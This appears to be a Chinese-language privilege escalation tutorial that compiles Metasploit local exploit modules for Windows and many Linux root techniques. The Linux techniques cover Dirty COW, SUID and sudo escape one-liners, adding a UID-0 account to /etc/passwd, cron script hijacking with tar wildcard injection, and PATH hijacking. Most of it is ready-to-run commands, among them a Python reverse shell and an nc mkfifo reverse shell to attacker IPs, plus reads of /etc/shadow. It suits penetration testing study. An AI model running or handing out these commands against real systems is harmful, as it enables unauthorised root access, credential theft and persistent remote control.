#Win32k中的内核池溢出漏洞,可允许本地用户提权。内核shellcode使winlogon.exe进程的ACL为NULL(SYSTEM进程)。这将允许任何非特权进程自由迁移到winlogon.exe,从而提升用户权限。注意:退出meterpreter会话时,可能会导致winlogon.exe崩溃。
#目前,该模块已在Windows 7 SP1 x86上成功测试。
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
EPATHOBJ^]%^]%pprFlattenRec本地提权
#此模块利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要问题出在使用了未初始化的数据(即允许损坏内存)。
#目前,该模块已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功进行了测试。
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
对于Linux系统的提权
基础知识
讲Linux提权之前,我们先来了解以下关于Linux的一些基础知识,我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群,大类有以下几种:Ubuntu/kali Linux/Red hat/Fedora/Centos 等。
Linux内核
Linux系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux内核版本有两种:稳定版和开发版,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
* 第一个组数字:目前发布的内核主版本。
* 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
* 第三个组数字:错误修补的次数。
在Linux系统中使用uname -r 可一查询Linux系统的发行版本号。
使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
背景:当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。
Linux提权的前提:
* 拿到了一个低权限的账号
* 能上传和下载文件
* 机器上有python、java、perl等环境(非必须项)
内核提权
内核漏洞是最有效的提权方法。通杀的内核漏洞是十分少见的,因而应该先对系统相关的信息进行收集。
查看发行版本:
cat /etc/issue cat /etc/*-release
查看内核版本:
uname -a
之后再去漏洞平台上搜索有无对应版本的漏洞利用文件,或可以使用kali自带的searchsploit来搜索,有没有内核溢出漏洞和对应的脚本。
searchspoit 查询到的发行版本内核版本
最后通过上传内核溢出代码到目标上,编译执行进行提权。
脏牛漏洞
说到Linux提权,那肯定就离不开大名鼎鼎的Linux的内核漏洞,脏牛提权还有就是其他的各种内核漏洞提权了。说实话,内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高,所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。内核漏洞提权的步骤肯定是查看目标机器的内核版本等信息,查看命令上面有。或者执行脚本查看该内核可能存在什么漏洞。
脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
影响版本:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
Exp:https://github.com/gbonacini/CVE-2016-5195
上传EXP到目标机器,然后编译运行,最后会得到一个root权限的用户
利用方式
一般来说可以通过上传脚本来查看当前系统有什么内核漏洞可被利用。
脚本:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
$ ./linux-exploit-suggester.sh
脚本:GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester
./linux-exploit-suggester-2.pl
关于利用脚本有两个版本,个人还是偏喜欢用第二个的。
SUID提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
* nmap
* vim
* find
* bash
* more
* less
* nano
* cp
以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
实列
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件可以利用。
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行。
/usr/bin/find examples.desktop -exec whoami \;
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
现在攻击端开启监听
nc -lvnp 4444
于是我们以root用户的身份利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
关于可利用命令的一些收集:SUID Executables – Penetration Testing Lab
这里我列举一些:
#Nmap
nmap -V
nmap --interactive #低版本的nmap可以使用进入交互界面
nmap> !sh
sh-3.2# whoami
root
---
nmap 新版
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
#vim
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
:shell #进入文本编辑器后执行
#find
touch pentestlab
find pentestlab -exec whoami \;
#Bash
bash -p
#nano 尽可以查看文件
nano /etc/passwd
#apache2
apache2 -f /etc/shadow
#tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test;chmod +x /tmp/.test;sudo tcpdump -ln -i eth0 -w /dev/null -W 100 -G 1 -z /tmp/.test -Z root
Sudo提权
关于sudo
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。
是不是每一个新创建的用户都可以使用sudo提升命令的权限呢?如果不是那么哪些用户可以使用此命令呢?要想使一个用户具有使用sudo的能力,需要让root用户将其名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息注册到/etc/sudoers文件中,即完成对该用户的授权(此时该用户称为“sudoer”)才可以。
当一般用户执行特殊权限时,在命令前加上 sudo,此时系统会让你输入密码以确认终端机前操作的是你本人,确认后系统会将该命令的进程以超级用户的权限运行。
在一定的时间段内,再次执行sudo的命令时不再询问密码,超出此时间段(一般为5分钟)后需要再次输入密码。
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图
实列
Sudoer文件语法
vim /etc/sudoers
1. 给用户赋予全部root权限
找到root权限root ALL=(ALL:ALL) ALL,在下一行输入" test ALL(ALL:ALL) ALL ",保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。即此时test用户相当于root了
2. 给用户赋予部分能够运行的命令权限
hacker用户就能使用awk命令了,如下图
3. 查看用户能以root权限运行的命令 。
sudo -l
sudo提权命令
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen
首先添加部分命令用于测试sudo提权
vim /etc/sudoers
hacker ALL=(root) NOPASSWD: /usr/bin/awk
hacker ALL=(root) NOPASSWD: /usr/bin/vim
hacker ALL=(root) NOPASSWD: /usr/bin/man
hacker ALL=(root) NOPASSWD: /usr/bin/apache2
hacker ALL=(root) NOPASSWD: /usr/bin/less
hacker ALL=(root) NOPASSWD: /bin/more
hacker ALL=(root) NOPASSWD: /usr/bin/find
hacker ALL=(root) NOPASSWD: /usr/bin/zip
hacker ALL=(root) NOPASSWD: /usr/bin/git
假设获取了一个普通用户hacker的权限,接着利用sudo进行提权
1. 查看sudo -l
显示了允许当前用户使用的命令,如下发现了可以以root权限执行awk命令并且不需要密码。
2. 权限提升
执行下面代码直接切换到root用户了,无需密码 。
sudo awk 'BEGIN{system("/bin/bash")}' #awk
这里列举一些我收集的关于sudo提权的命令:
提权命令:sudo awk 'BEGIN{system("/bin/bash")}' #awk
sudo find /home -exec /bin/bash \; #find
sudo cat /etc/shadow #cat我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解
#zip
1.创建一个1.txt,将其压缩为1.zip
2. sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"
# git
1.sudo git help add
2.回车如下输入 !/bin/bash
#ed
sudo ed
!/bin/sh
#vim
sudo vim -c'!sh'
#man
sudo man man
之后按!按下并按Enter
#lesssud
sudo less /etc/hosts
之后按!按下并按Enter
#more
sudo more /etc/hosts
之后按!按下并按Enter
#nmap
echo "os.execute('/bin/sh')"> /tmp/shell.nse && sudo nmap --script = /tmp/shell.nse
#nano
#nano是使用此编辑器的文本编辑器,在您需要切换用户之后,您可以修改pvimasswd文件并将用户添加为root特权。在/etc/passwd中添加此行,以将用户添加为root特权。
touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
sudo nano /sudetc/passwd #现在切换用户密码是:test
su touhid
#apache
使用它我们可以查看系统文件
sudo apache2 -f /etc/shadow
关于SUID,SUDO等提权命令的汇总:GTFOBins
Linux配置错误提权
Linux的配置文件错误,导致 /etc/passwd 文件可写入提权
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。
2. 生成密码信息
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
首先,使用perl语言(Linux自带)生成带有盐值的密码:adrla7IBSfTZQ
perl -le 'print crypt("123456","addedsalt")'
3. 我们切换到一个普通用户,假装获取了一个低权限用户。然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
4. 登录新用户
以用户名:test 密码:123456 成功进行切换,直接获取了root权限
su test 123456
对Linux配置进行检查的脚本有:https://www.securitysift.com/download/linuxprivchecker.py
和 unix-privesc-check | pentestmonkey 两个。
定时任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。
ls -l /etc/cron
使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
实列
1.首先执行命令ls -l /etc/corn,查看crontab看看有没有类似的*/1 * * * * root /home/kali/桌面/shell.sh以root权限短时间内执行的文件 ,注意该文件可能面临权限问题导致无法执行如果遇到chmod +x shell.sh
2.然后在echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.107 6789 > /tmp/f">/home/kali/桌面/shell.sh构造类似语句追加到文件内
3.然后在/home/kali/桌面 目录下执行
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
4.然后攻击端正向连接端口
nc -lvvp 6789
5.一分钟后root提权成功
Linux中使用环境变量提权
介绍
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
echo $PATH
usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。
方法1
Ubuntu LAB SET_UP
当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
然后我们打开demo.c文件可以看到
vim demo.c
正如你在demo.c文件中看到的,我们正在调用ps命令。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。
进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。
Echo命令
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
注:部分转载来自谢公子,明月清风~~,Freebuf,转载请注明来源。